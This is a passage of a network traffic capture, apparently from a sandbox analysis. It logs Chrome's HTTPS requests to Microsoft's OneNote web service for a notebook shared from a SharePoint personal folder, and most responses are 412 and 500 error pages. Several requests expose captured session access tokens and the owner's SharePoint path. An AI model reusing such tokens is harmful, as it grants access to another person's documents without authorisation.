2024-07-16 11:07:06 UTC	1137	IN	Data Raw: 34 36 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 Data Ascii: 46a<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500
2024-07-16 11:07:06 UTC	84	IN	Data Raw: 34 65 0d 0a 64 20 69 74 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 4ed it cannot be displayed.</h3> </fieldset></div></div></body></html>
2024-07-16 11:07:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49810	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:05 UTC	1994	OUT	GET /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNT [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1
2024-07-16 11:07:06 UTC	1208	IN	HTTP/1.1 412 Precondition Failed Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: bf49b1fe-872e-47d7-8b00-e0885a67ffb6 X-UserSessionId: bf49b1fe-872e-47d7-8b00-e0885a67ffb6 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011800 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-NewKey: PhOHRqr9VxObMe3oa0PnYnW2vWdZvMgBgLYzkPhJtMk=;idtNk1/Vq86ED1g4C1De20DLesSvkcy6nDsBOUMX1Bc=,638567248259261120 X-OFFICEFD: DB5PEPF00011800 X-WacFrontEnd: DB5PEPF00011800 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_powerpointslice_control,afd_onenoteslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: CDCFB08F5D134797839323F40151DD5C Ref B: BL2AA2010202039 Ref C: 2024-07-16T11:07:05Z Date: Tue, 16 Jul 2024 11:07:05 GMT Connection: close
2024-07-16 11:07:06 UTC	1512	IN	Data Raw: 35 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 31 32 20 Data Ascii: 5e1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>412
2024-07-16 11:07:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49814	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:05 UTC	436	OUT	GET /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1
2024-07-16 11:07:06 UTC	1048	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 4212 Content-Type: text/html Last-Modified: Mon, 03 Jun 2024 10:13:18 GMT Accept-Ranges: bytes ETag: "21e9faa79eb5da1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: cc91a2cd-b8f5-4f5f-a554-d41395e10796 X-UserSessionId: cc91a2cd-b8f5-4f5f-a554-d41395e10796 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF0001182E X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-OFFICEFD: DB5PEPF0001182E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest X-MSEdge-Ref: Ref A: 178C11BF343D4DD3B6E80814AFE5EEB9 Ref B: BL2AA2030104037 Ref C: 2024-07-16T11:07:05Z Date: Tue, 16 Jul 2024 11:07:05 GMT Connection: close
2024-07-16 11:07:06 UTC	292	IN	Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></tit
2024-07-16 11:07:06 UTC	3920	IN	Data Raw: 72 20 6c 5f 45 72 72 6f 72 49 6d 61 67 65 41 6c 74 5f 54 65 78 74 20 3d 20 22 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 22 3b 20 76 61 72 20 6c 5f 45 72 72 6f 72 48 65 61 64 65 72 5f 54 65 78 74 20 3d 20 22 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 22 3b 20 76 61 72 20 6c 5f 45 72 72 6f 72 4c 69 6e 65 31 5f 54 65 78 74 20 3d 20 22 57 65 20 61 72 65 20 63 75 72 72 65 6e 74 6c 79 20 65 78 70 65 72 69 65 6e 63 69 6e 67 20 74 65 63 68 6e 69 63 61 6c 20 64 69 66 66 69 63 75 6c 74 69 65 73 2e 22 3b 20 76 61 72 20 6c 5f 45 72 72 6f 72 4c 69 6e 65 32 5f 54 65 78 74 20 3d 20 22 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 22 3b 20 76 61 72 20 6c 5f 45 72 72 6f 72 48 65 61 64 65 72 53 74 79 Data Ascii: r l_ErrorImageAlt_Text = "The service is unavailable"; var l_ErrorHeader_Text = "Service Unavailable"; var l_ErrorLine1_Text = "We are currently experiencing technical difficulties."; var l_ErrorLine2_Text = "Please try again later."; var l_ErrorHeaderSty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49815	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:06 UTC	1973	OUT	GET /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNT [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1
2024-07-16 11:07:06 UTC	1221	IN	HTTP/1.1 412 Precondition Failed Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c37dd6c0-6445-4545-b318-7ae757f6a98b X-UserSessionId: c37dd6c0-6445-4545-b318-7ae757f6a98b Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011819 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-NewKey: WUzIc913GP2VwsrBaRoa3C7FxZIPXCjiwNs8TeSokhw=;Lpt8jTrjcBVEsccLuUE9s+aDM1T7TyBAyAXWQfragpI=,638567248264327165 X-OFFICEFD: DB5PEPF00011819 X-WacFrontEnd: DB5PEPF00011819 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest X-MSEdge-Ref: Ref A: F592DA68DC614F08BAD497AE084BBD94 Ref B: BL2AA2030102011 Ref C: 2024-07-16T11:07:06Z Date: Tue, 16 Jul 2024 11:07:05 GMT Connection: close
2024-07-16 11:07:06 UTC	1512	IN	Data Raw: 35 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 31 32 20 Data Ascii: 5e1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>412
2024-07-16 11:07:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49828	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:07 UTC	3573	OUT	GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-5EECF280-3334-476F-8F52-2886D4389084&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyR [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f OrgIdSiteUrl: https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:07 UTC	1055	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 4fb8f785-e451-4024-bb05-cf9b4921d76a X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017829 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017829 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 2050D7D85ADF4276B58C1BC242011E28 Ref B: EWR311000107019 Ref C: 2024-07-16T11:07:07Z Date: Tue, 16 Jul 2024 11:07:06 GMT Connection: close
2024-07-16 11:07:07 UTC	1215	IN	Data Raw: 34 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 Data Ascii: 4b8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500
2024-07-16 11:07:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49841	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:08 UTC	3458	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 15541 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-AccessTokenTtl: 1721164012481 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: 